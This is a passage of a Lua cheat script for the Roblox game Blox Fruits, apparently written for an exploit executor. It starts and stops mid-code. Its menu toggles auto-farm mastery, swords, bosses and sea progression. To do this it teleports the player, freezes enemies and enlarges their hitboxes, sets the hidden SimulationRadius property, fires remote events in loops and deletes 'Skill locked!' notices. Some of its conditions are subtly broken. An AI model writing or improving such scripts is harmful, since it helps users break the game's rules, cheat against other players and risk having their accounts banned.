                                                    PosMonMasteryFruit = v.HumanoidRootPart.CFrame
                                                    v.Humanoid.WalkSpeed = 0
                                                    v.Head.CanCollide = false
                                                end
                                                StartMasteryFruitMagnet = true
                                                game:GetService'VirtualUser':CaptureController()
                                                game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))
                                            until not _G.AutoFarmFruitMastery or v.Humanoid.Health <= 0 or not v.Parent or game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false
                                        else
                                            UseSkill = false
                                            StartMasteryFruitMagnet = false
                                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("AbandonQuest")
                                        end
                                    end
                                end
                            end
                        else
                            StartMasteryFruitMagnet = false   
                            UseSkill = false 
                            local Mob = game:GetService("ReplicatedStorage"):FindFirstChild(Mon) 
                            if Mob then
                                topos(Mob.HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                            else
                                if game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame.Y <= 1 then
                                    game:GetService("Players").LocalPlayer.Character.Humanoid.Jump = true
                                    task.wait()
                                    game:GetService("Players").LocalPlayer.Character.Humanoid.Jump = false
                                end
                            end
                        end
                    end
                end)
            end
        end
    end)
    
    spawn(function()
        while wait() do
            if UseSkill then
                pcall(function()
                    CheckQuest()
                    for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                        if game:GetService("Players").LocalPlayer.Character:FindFirstChild(game:GetService("Players").LocalPlayer.Data.DevilFruit.Value) then
                            MasBF = game:GetService("Players").LocalPlayer.Character[game:GetService("Players").LocalPlayer.Data.DevilFruit.Value].Level.Value
                        elseif game:GetService("Players").LocalPlayer.Backpack:FindFirstChild(game:GetService("Players").LocalPlayer.Data.DevilFruit.Value) then
                            MasBF = game:GetService("Players").LocalPlayer.Backpack[game:GetService("Players").LocalPlayer.Data.DevilFruit.Value].Level.Value
                        end
                        if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Dragon-Dragon") then                      
                            if _G.SkillZ then
                                local args = {
                                    [1] = PosMonMasteryFruit.Position
                                }
                                game:GetService("Players").LocalPlayer.Character[game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Tool").Name].RemoteEvent:FireServer(unpack(args))                        
                                game:GetService("VirtualInputManager"):SendKeyEvent(true,"Z",false,game)
                                game:GetService("VirtualInputManager"):SendKeyEvent(false,"Z",false,game)
                            end
                            if _G.SkillX then          
                                local args = {
                                    [1] = PosMonMasteryFruit.Position
                                }
                                game:GetService("Players").LocalPlayer.Character[game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Tool").Name].RemoteEvent:FireServer(unpack(args))               
                                game:GetService("VirtualInputManager"):SendKeyEvent(true,"X",false,game)
                                game:GetService("VirtualInputManager"):SendKeyEvent(false,"X",false,game)
                            end
                            if _G.SkillC then
                                local args = {
                                    [1] = PosMonMasteryFruit.Position
                                }
                                game:GetService("Players").LocalPlayer.Character[game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Tool").Name].RemoteEvent:FireServer(unpack(args))                          
                                game:GetService("VirtualInputManager"):SendKeyEvent(true,"C",false,game)
                                wait(2)
                                game:GetService("VirtualInputManager"):SendKeyEvent(false,"C",false,game)
                            end
                        elseif game:GetService("Players").LocalPlayer.Character:FindFirstChild("Venom-Venom") then   
                            if _G.SkillZ then
                                local args = {
                                    [1] = PosMonMasteryFruit.Position
                                }
                                game:GetService("Players").LocalPlayer.Character[game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Tool").Name].RemoteEvent:FireServer(unpack(args))                        
                                game:GetService("VirtualInputManager"):SendKeyEvent(true,"Z",false,game)
                                game:GetService("VirtualInputManager"):SendKeyEvent(false,"Z",false,game)
                            end
                            if _G.SkillX then        
                                local args = {
                                    [1] = PosMonMasteryFruit.Position
                                }
                                game:GetService("Players").LocalPlayer.Character[game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Tool").Name].RemoteEvent:FireServer(unpack(args))               
                                game:GetService("VirtualInputManager"):SendKeyEvent(true,"X",false,game)
                                game:GetService("VirtualInputManager"):SendKeyEvent(false,"X",false,game)
                            end
                            if _G.SkillC then 
                                local args = {
                                    [1] = PosMonMasteryFruit.Position
                                }
                                game:GetService("Players").LocalPlayer.Character[game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Tool").Name].RemoteEvent:FireServer(unpack(args))                          
                                game:GetService("VirtualInputManager"):SendKeyEvent(true,"C",false,game)
                                wait(2)
                                game:GetService("VirtualInputManager"):SendKeyEvent(false,"C",false,game)
                            end
                        elseif game:GetService("Players").LocalPlayer.Character:FindFirstChild("Human-Human: Buddha") then
                            if _G.SkillZ and game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Size == Vector3.new(2, 2.0199999809265, 1) then
                                local args = {
                                    [1] = PosMonMasteryFruit.Position
                                }
                                game:GetService("Players").LocalPlayer.Character[game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Tool").Name].RemoteEvent:FireServer(unpack(args))                         
                                game:GetService("VirtualInputManager"):SendKeyEvent(true,"Z",false,game)
                                game:GetService("VirtualInputManager"):SendKeyEvent(false,"Z",false,game)
                            end
                            if _G.SkillX then
                                local args = {
                                    [1] = PosMonMasteryFruit.Position
                                }
                                game:GetService("Players").LocalPlayer.Character[game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Tool").Name].RemoteEvent:FireServer(unpack(args))                           
                                game:GetService("VirtualInputManager"):SendKeyEvent(true,"X",false,game)
                                game:GetService("VirtualInputManager"):SendKeyEvent(false,"X",false,game)
                            end
                            if _G.SkillC then
                                local args = {
                                    [1] = PosMonMasteryFruit.Position
                                }
                                game:GetService("Players").LocalPlayer.Character[game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Tool").Name].RemoteEvent:FireServer(unpack(args))                           
                                game:GetService("VirtualInputManager"):SendKeyEvent(true,"C",false,game)
                                game:GetService("VirtualInputManager"):SendKeyEvent(false,"C",false,game)
                            end
                            if _G.SkillV then
                                local args = {
                                    [1] = PosMonMasteryFruit.Position
                                }
                                game:GetService("Players").LocalPlayer.Character[game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Tool").Name].RemoteEvent:FireServer(unpack(args))
                                game:GetService("VirtualInputManager"):SendKeyEvent(true,"V",false,game)
                                game:GetService("VirtualInputManager"):SendKeyEvent(false,"V",false,game)
                            end
                        elseif game:GetService("Players").LocalPlayer.Character:FindFirstChild(game:GetService("Players").LocalPlayer.Data.DevilFruit.Value) then
                            if _G.SkillZ then 
                                local args = {
                                    [1] = PosMonMasteryFruit.Position
                                }
                                game:GetService("Players").LocalPlayer.Character[game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Tool").Name].RemoteEvent:FireServer(unpack(args))                         
                                game:GetService("VirtualInputManager"):SendKeyEvent(true,"Z",false,game)
                                game:GetService("VirtualInputManager"):SendKeyEvent(false,"Z",false,game)
                            end
                            if _G.SkillX then
                                local args = {
                                    [1] = PosMonMasteryFruit.Position
                                }
                                game:GetService("Players").LocalPlayer.Character[game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Tool").Name].RemoteEvent:FireServer(unpack(args))                           
                                game:GetService("VirtualInputManager"):SendKeyEvent(true,"X",false,game)
                                game:GetService("VirtualInputManager"):SendKeyEvent(false,"X",false,game)
                            end
                            if _G.SkillC then
                                local args = {
                                    [1] = PosMonMasteryFruit.Position
                                }
                                game:GetService("Players").LocalPlayer.Character[game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Tool").Name].RemoteEvent:FireServer(unpack(args))                           
                                game:GetService("VirtualInputManager"):SendKeyEvent(true,"C",false,game)
                                game:GetService("VirtualInputManager"):SendKeyEvent(false,"C",false,game)
                            end
                            if _G.SkillV then
                                local args = {
                                    [1] = PosMonMasteryFruit.Position
                                }
                                game:GetService("Players").LocalPlayer.Character[game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Tool").Name].RemoteEvent:FireServer(unpack(args))
                                game:GetService("VirtualInputManager"):SendKeyEvent(true,"V",false,game)
                                game:GetService("VirtualInputManager"):SendKeyEvent(false,"V",false,game)
                            end
                        end
                    end
                end)
            end
        end
    end)
    
    spawn(function()
        game:GetService("RunService").RenderStepped:Connect(function()
            pcall(function()
                if UseSkill then
                    for i,v in pairs(game:GetService("Players").LocalPlayer.PlayerGui.Notifications:GetChildren()) do
                        if v.Name == "NotificationTemplate" then
                            if string.find(v.Text,"Skill locked!") then
                                v:Destroy()
                            end
                        end
                    end
                end
            end)
        end)
    end)
    
    spawn(function()
        pcall(function()
            game:GetService("RunService").RenderStepped:Connect(function()
                if UseSkill then
                    local args = {
                        [1] = PosMonMasteryFruit.Position
                    }
                    game:GetService("Players").LocalPlayer.Character[game:GetService("Players").LocalPlayer.Data.DevilFruit.Value].RemoteEvent:FireServer(unpack(args))
                end
            end)
        end)
    end)
    
    Main:Toggle("Auto Farm Gun Mastery",_G.AutoFarmGunMastery,function(value)
		if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")
else
        _G.AutoFarmGunMastery = value
      --  _G.Kill_At = value
      
		  StopTween(_G.AutoFarmGunMastery)
		end
    end)

	    Main:Toggle("Auto Farm Sword",_G.Setting_table.Farm_Sword,function(vu)
	
		if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")
else
	Auto_Farm_Sword = vu
	_G.Setting_table.Farm_Sword = vu
	Update_Setting(getgenv()['MyName'])
		end
    end)

spawn(function()
	while wait(.2) do
		pcall(function()
			if Auto_Farm_Sword then
				if not Mix_Farm then
					if game.Players.LocalPlayer.PlayerGui.Main.Quest.Visible == false then
						CheckQuest()
						
						if (CFrameQ.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude > 10 then
                            TP(CFrameQ)
                        else
                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("StartQuest", NameQuest, QuestLv)
                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("SetSpawnPoint")
                        end
					elseif game.Players.LocalPlayer.PlayerGui.Main.Quest.Visible == true then
						CheckQuest()
						if string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text, NameMon) then
							if game.Workspace.Enemies:FindFirstChild(Ms) then
								for i,v in pairs(game.Workspace.Enemies:GetChildren()) do
									if not string.find(v.Name,"Boss") and v.Humanoid.Health > 0 and (v.HumanoidRootPart.Position-CFrameMon.Position).Magnitude <= 1000 then
										if v.Humanoid:FindFirstChild("Animator") then
											v.Humanoid.Animator:Destroy()
										end
										for i2,v2 in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
											if v2:IsA("Tool") then
												if tostring(v2.ToolTip) == "Sword" then
													_G.Setting_table.Weapon = v2.Name
												end
											end
										end
										_G.PosMon = v.HumanoidRootPart.CFrame
										StatrMagnet = true
										repeat wait(_G.Fast_Delay)
											EquipWeapon(_G.Setting_table.Weapon)
											TP(v.HumanoidRootPart.CFrame * CFrame.new(0, 30, 1))
											AttackNoCD()
										until v.Humanoid.Health <= 0 or not v.Parent or Mix_Farm or not Auto_Farm_Sword
										StatrMagnet = false
									end
								end
							elseif game.ReplicatedStorage:FindFirstChild(Ms) then
								TP(CFrameMon)
							else
								for i,v in pairs(game.Workspace.Enemies:GetChildren()) do
									if not string.find(v.Name,"Boss") and v.Humanoid.Health > 0 and (v.HumanoidRootPart.Position-CFrameMon.Position).Magnitude <= 1000 then
										if v.Humanoid:FindFirstChild("Animator") then
											v.Humanoid.Animator:Destroy()
										end
										for i2,v2 in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
											if v2:IsA("Tool") then
												if tostring(v2.ToolTip) == "Sword" then
													_G.Setting_table.Weapon = v2.Name
												end
											end
										end
										_G.PosMon = v.HumanoidRootPart.CFrame
										StatrMagnet = true
										repeat wait(_G.Fast_Delay)
											EquipWeapon(_G.Setting_table.Weapon)
											TP(v.HumanoidRootPart.CFrame * CFrame.new(0, 30, 1))
											AttackNoCD()
										until v.Humanoid.Health <= 0 or not v.Parent or Mix_Farm or not Auto_Farm_Sword
										StatrMagnet = false
									end
								end
							end
						end
					end
				end
			end
		end)
	end
end)


      Main:Label("Note:Activate First And Then Change Slider")
    
    spawn(function()
        pcall(function()
            while wait() do
                if _G.AutoFarmGunMastery then
                    local QuestTitle = game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text
                    if not string.find(QuestTitle, NameMon) then
                        Magnet = false                                      
                        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("AbandonQuest")
                    end
                    if game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false then
                        StartMasteryGunMagnet = false
                        CheckQuest()
                        topos(CFrameQuest)
                        if (CFrameQuest.Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 10 then
                            wait(1.2)
                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("StartQuest", NameQuest, LevelQuest)
                        end
                    elseif game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == true then
                        CheckQuest()
                        if game:GetService("Workspace").Enemies:FindFirstChild(Mon) then
                            pcall(function()
                                for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                                    if v.Name == Mon then
                                        repeat task.wait()
                                            if string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text, NameMon) then
                                                HealthMin = v.Humanoid.MaxHealth * _G.Kill_At/100
                                                if v.Humanoid.Health <= HealthMin then                                                
                                                    EquipWeapon(SelectWeaponGun)
                                                    topos(v.HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                                                    v.Humanoid.WalkSpeed = 0
                                                    v.HumanoidRootPart.CanCollide = false
                                                    v.HumanoidRootPart.Size = Vector3.new(2,2,1)
                                                    v.Head.CanCollide = false                                                
                                                    local args = {
                                                        [1] = v.HumanoidRootPart.Position,
                                                        [2] = v.HumanoidRootPart
                                                    }
                                                    game:GetService("Players").LocalPlayer.Character[SelectWeaponGun].RemoteFunctionShoot:InvokeServer(unpack(args))
                                                else
                                                    AutoHaki()
                                                    EquipWeapon(_G.SelectWeapon)
                                                    v.Humanoid.WalkSpeed = 0
                                                    v.HumanoidRootPart.CanCollide = false
                                                    v.Head.CanCollide = false               
                                                    v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                                    topos(v.HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                                                    game:GetService'VirtualUser':CaptureController()
                                                    game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))
                                                end
                                                StartMasteryGunMagnet = true 
                                                PosMonMasteryGun = v.HumanoidRootPart.CFrame
                                            else
                                                StartMasteryGunMagnet = false
                                                game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("AbandonQuest")
                                            end
                                        until v.Humanoid.Health <= 0 or _G.AutoFarmGunMastery == false or game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false
                                        StartMasteryGunMagnet = false
                                    end
                                end
                            end)
                        else
                            StartMasteryGunMagnet = false
                            local Mob = game:GetService("ReplicatedStorage"):FindFirstChild(Mon) 
                            if Mob then
                                topos(Mob.HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                            else
                                if game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame.Y <= 1 then
                                    game:GetService("Players").LocalPlayer.Character.Humanoid.Jump = true
                                    task.wait()
                                    game:GetService("Players").LocalPlayer.Character.Humanoid.Jump = false
                                end
                            end
                        end 
                    end
                end
            end
        end)
    end)

    
    
    Ss:Seperator("Stats")

    local Pointstat = Ss:Label("Stat Points")
    
    spawn(function()
        while wait() do
            pcall(function()
                Pointstat:Set("Stat Points : "..tostring(game:GetService("Players")["LocalPlayer"].Data.Points.Value))
            end)
        end
    end)

iain:Seperator("Worlds")

        iain:Toggle("Auto Second Sea",_G.AutoSecondSea,function(value)
			if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")
else
            _G.AutoSecondSea = value
            StopTween(_G.AutoSecondSea)
			end
        end)
    
        spawn(function()
            while wait() do 
                if _G.AutoSecondSea then
                    pcall(function()
                        local MyLevel = game:GetService("Players").LocalPlayer.Data.Level.Value
                        if MyLevel >= 700 and World1 then
                            if game:GetService("Workspace").Map.Ice.Door.CanCollide == false and game:GetService("Workspace").Map.Ice.Door.Transparency == 1 then
                                local CFrame1 = CFrame.new(4849.29883, 5.65138149, 719.611877)
                                repeat topos(CFrame1) wait() until (CFrame1.Position-game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 3 or _G.AutoSecondSea == false
                                wait(1.1)
                                game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("DressrosaQuestProgress","Detective")
                                wait(0.5)
                                EquipWeapon("Key")
                                repeat topos(CFrame.new(1347.7124, 37.3751602, -1325.6488)) wait() until (Vector3.new(1347.7124, 37.3751602, -1325.6488)-game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 3 or _G.AutoSecondSea == false
                                wait(0.5)
                            else
                                if game:GetService("Workspace").Map.Ice.Door.CanCollide == false and game:GetService("Workspace").Map.Ice.Door.Transparency == 1 then
                                    if game:GetService("Workspace").Enemies:FindFirstChild("Ice Admiral [Lv. 700] [Boss]") then
                                        for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                                            if v.Name == "Ice Admiral [Lv. 700] [Boss]" then
                                                if not v.Humanoid.Health <= 0 then
                                                    if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                                        OldCFrameSecond = v.HumanoidRootPart.CFrame
                                                        repeat task.wait()
                                                            AutoHaki()
                                                            EquipWeapon(_G.SelectWeapon)
                                                            v.HumanoidRootPart.CanCollide = false
                                                            v.Humanoid.WalkSpeed = 0
                                                            v.Head.CanCollide = false
                                                            v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                                            v.HumanoidRootPart.CFrame = OldCFrameSecond
                                                            topos(v.HumanoidRootPart.CFrame * CFrame.new(5,10,7))
                                                            game:GetService("VirtualUser"):CaptureController()
                                                            game:GetService("VirtualUser"):Button1Down(Vector2.new(1280,672))
                                                            sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge)
                                                        until not _G.AutoSecondSea or not v.Parent or v.Humanoid.Health <= 0
                                                    end
                                                else 
                                                    game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("TravelDressrosa")
                                                end
                                            end
                                        end
                                    else
                                        if game:GetService("ReplicatedStorage"):FindFirstChild("Ice Admiral [Lv. 700] [Boss]") then
                                            topos(game:GetService("ReplicatedStorage"):FindFirstChild("Ice Admiral [Lv. 700] [Boss]").HumanoidRootPart.CFrame * CFrame.new(5,10,7))
                                        end
                                    end
                                end
                            end
                        end
                    end)
                end
            end
        end)
    

    iain:Toggle("Auto Third Sea",_G.AutoThirdSea,function(value)
		if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")
else
            _G.AutoThirdSea = value
            StopTween(_G.AutoThirdSea)
		end
        end)
    
        spawn(function()
            while wait() do
                if _G.AutoThirdSea then
                    pcall(function()
                        if game:GetService("Players").LocalPlayer.Data.Level.Value >= 1500 and World2 then
                            _G.AutoFarm = false
                            if game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("ZQuestProgress","Check") == 0 then
                                topos(CFrame.new(-1926.3221435547, 12.819851875305, 1738.3092041016))
                                if (CFrame.new(-1926.3221435547, 12.819851875305, 1738.3092041016).Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 10 then
                                    wait(1.5)
                                    game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("ZQuestProgress","Begin")
                                end
                                wait(1.8)
                                if game:GetService("Workspace").Enemies:FindFirstChild("rip_indra [Lv. 1500] [Boss]") then
                                    for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                                        if v.Name == "rip_indra [Lv. 1500] [Boss]" then
                                            OldCFrameThird = v.HumanoidRootPart.CFrame
                                            repeat task.wait()
                                                AutoHaki()
                                                EquipWeapon(_G.SelectWeapon)
                                                topos(v.HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                                                v.HumanoidRootPart.CFrame = OldCFrameThird
                                                v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                                v.HumanoidRootPart.CanCollide = false
                                                v.Humanoid.WalkSpeed = 0
                                                game:GetService'VirtualUser':CaptureController()
                                                game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))
                                                game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("TravelZou")
                                                sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge)
                                            until _G.AutoThirdSea == false or v.Humanoid.Health <= 0 or not v.Parent
                                        end
                                    end
                                elseif not game:GetService("Workspace").Enemies:FindFirstChild("rip_indra [Lv. 1500] [Boss]") and (CFrame.new(-26880.93359375, 22.848554611206, 473.18951416016).Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 1000 then
                                    topos(CFrame.new(-26880.93359375, 22.848554611206, 473.18951416016))
                                end
                            end
                        end
                    end)
                end
            end
        end)
   
    
    if World2 then

        iain:Toggle("Auto Farm Factory",_G.AutoFactory,function(value)
			if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")
else
            _G.AutoFactory = value
            StopTween(_G.AutoFactory)
			end
        end)
    
        spawn(function()
            while wait() do
                pcall(function()
                    if _G.AutoFactory then
                        if game:GetService("Workspace").Enemies:FindFirstChild("Core") then
                            for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                                if v.Name == "Core" and v.Humanoid.Health > 0 then
                                    repeat task.wait()
                                        AutoHaki()         
                                        EquipWeapon(_G.SelectWeapon)           
                                        topos(CFrame.new(448.46756, 199.356781, -441.389252))                                  
                                        game:GetService("VirtualUser"):CaptureController()
                                        game:GetService("VirtualUser"):Button1Down(Vector2.new(1280,672))
                                    until v.Humanoid.Health <= 0 or _G.AutoFactory == false
                                end
                            end
                        else
                            topos(CFrame.new(448.46756, 199.356781, -441.389252))
                        end
                    end
                end)
            end
        end)
    elseif World3 then
        iain:Toggle("Auto Mirage Island",_G.AutoMysticIsland,function(value)
            _G.AutoMysticIsland = value
        end)
    
        spawn(function()
            while wait() do
                if _G.AutoMysticIsland then
                    pcall(function()
                        if game:GetService("Workspace").Map:FindFirstChild("MirageIsland") then
                            topos(game:GetService("Workspace").Map:FindFirstChild("MirageIsland").HumanoidRootPart.CFrame * CFrame.new(0,500,-100))
                        end
                    end)
                end
            end
        end)
    end

	iain:Seperator("Dough King")
	 	_G.Cake = false

	    iain:Toggle("Auto Farm Dough King",_G.Cake,function(value)
			if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")
else
        _G.Cake = value
			end
    end)
	 spawn(function()
        while wait() do
            if _G.Cake then
                pcall(function()
                    if game:GetService("Workspace").Enemies:FindFirstChild("Dough King [Lv. 2300] [Raid Boss]") then
                        for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                            if v.Name == "Dough King [Lv. 2300] [Raid Boss]" then
                                if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                    repeat task.wait()
                                        AutoHaki()
                                        EquipWeapon(_G.SelectWeapon)
                                        v.HumanoidRootPart.CanCollide = false
                                        v.Humanoid.WalkSpeed = 0
                                        v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                        topos(v.HumanoidRootPart.CFrame * CFrame.new(2,10,5))
                                        game:GetService("VirtualUser"):CaptureController()
                                        game:GetService("VirtualUser"):Button1Down(Vector2.new(1280,672))
                                        sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)
                                    until not _G.Cake or not v.Parent or v.Humanoid.Health <= 0
                                end
                            end
						end
					end
			    end)
		          	
			end
		end
		end)
	_G.Trueform = false
    iain:Toggle("Auto Farm Conjured Cocoa",_G.Trueform,function(value)
		if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")
else
        _G.Trueform = value
	--	topos(CFrame.new(6668.38232, 378.416321, 325.90271, -0.357130438, -1.71497785e-08, -0.934054494, 3.50728619e-08, 1, -3.17704867e-08, 0.934054494, -4.41061729e-08, -0.357130438))
		end
	end)
			    iain:Button("Buy Chocolate chalice",function()
                    topos(CFrame.new(224.731674, 24.8195362, -12771.874, -0.552061796, 3.51726968e-08, 0.833803236, 3.3050366e-08, 1, -2.03007762e-08, -0.833803236, 1.63502172e-08, -0.552061796))

			end)
			      iain:Label("Need 10 Conjured Cocoa and God's Chalice")

	  spawn(function()
        while wait() do
            if _G.Trueform then
                pcall(function()
                    if game:GetService("Workspace").Enemies:FindFirstChild("Cocoa Warrior [Lv. 2300]") then
                        for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                            if v.Name == "Cocoa Warrior [Lv. 2300]" or "Chocolate Bar Battler [Lv. 2325]" or "Sweet Thief [Lv. 2350]" or "Candy Rebel [Lv. 2375]" then
                                if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                    repeat task.wait()
                                        AutoHaki()
                                        EquipWeapon(_G.SelectWeapon)
                                        v.HumanoidRootPart.CanCollide = false
                                        v.Humanoid.WalkSpeed = 0
                                        v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                        topos(v.HumanoidRootPart.CFrame * CFrame.new(2,10,5))
                                        game:GetService("VirtualUser"):CaptureController()
                                        game:GetService("VirtualUser"):Button1Down(Vector2.new(1280,672))
                                        sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)
                                    until not _G.Trueform or not v.Parent or v.Humanoid.Health <= 0
                                end
                            end
						end
					end
			    end)
		          	
			end
		end
		end)

iain:Seperator("God Human")
_G.DragonScale = false
_G.FishTails = false
_G.Ore = false
    iain:Toggle("Auto Dragon Scale (Sea 3)",_G.DragonScale,function(value)
		if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")
else
        _G.DragonScale = value
		topos(CFrame.new(6668.38232, 378.416321, 325.90271, -0.357130438, -1.71497785e-08, -0.934054494, 3.50728619e-08, 1, -3.17704867e-08, 0.934054494, -4.41061729e-08, -0.357130438))
		end
    end)
	    spawn(function()
        while wait() do
            if _G.DragonScale then
                pcall(function()
                    if game:GetService("Workspace").Enemies:FindFirstChild("Dragon Crew Archer [Lv. 1600]") then
                        for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                            if v.Name == "Dragon Crew Archer [Lv. 1600]" then
                                if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                    repeat task.wait()
                                        AutoHaki()
                                        EquipWeapon(_G.SelectWeapon)
                                        v.HumanoidRootPart.CanCollide = false
                                        v.Humanoid.WalkSpeed = 0
                                        v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                        topos(v.HumanoidRootPart.CFrame * CFrame.new(2,10,5))
                                        game:GetService("VirtualUser"):CaptureController()
                                        game:GetService("VirtualUser"):Button1Down(Vector2.new(1280,672))
                                        sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)
                                    until not _G.DragonScale or not v.Parent or v.Humanoid.Health <= 0
                                end
                            end
						end
					end
			    end)
		          	
			end
		end
		end)
		 iain:Toggle("Auto Fish Tails (Sea 1 And Sea 3)",_G.FishTails,function(value)
           	if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")
else
		     if sea3 == true then
		           _G.FishTails1 = value
				   				topos(CFrame.new(-10892.1299, 331.788452, -8625.25293, 0.979585111, 3.32931229e-08, -0.201029733, -3.29185141e-08, 1, 5.20636778e-09, 0.201029733, 1.51752022e-09, 0.979585111))

				   else
                 _G.FishTails = value
				topos(CFrame.new(61122.65234375, 18.497442245483, 1569.3997802734))
			
			 end
			   end
    end)
	  spawn(function()
        while wait() do
            if _G.FishTails1 then
                pcall(function()
                    if game:GetService("Workspace").Enemies:FindFirstChild("Fishman Captain [Lv. 1800]") then
                        for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                            if v.Name == "Fishman Captain [Lv. 1800]" or "Fishman Raider [Lv. 1775]" then
                                if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                    repeat task.wait()
                                        AutoHaki()
                                        EquipWeapon(_G.SelectWeapon)
                                        v.HumanoidRootPart.CanCollide = false
                                        v.Humanoid.WalkSpeed = 0
                                        v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                        topos(v.HumanoidRootPart.CFrame * CFrame.new(2,10,5))
                                        game:GetService("VirtualUser"):CaptureController()
                                        game:GetService("VirtualUser"):Button1Down(Vector2.new(1280,672))
                                        sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)
                                    until not _G.FishTails1 or not v.Parent or v.Humanoid.Health <= 0
                                end
                            end
						end
					end
			    end)
		          	
			end
		end
		end)
	    spawn(function()
        while wait() do
            if _G.FishTails then
                pcall(function()
                    if game:GetService("Workspace").Enemies:FindFirstChild("Fishman Warrior [Lv. 375]") then
                        for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                            if v.Name == "Fishman Warrior [Lv. 375]" then
                                if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                    repeat task.wait()
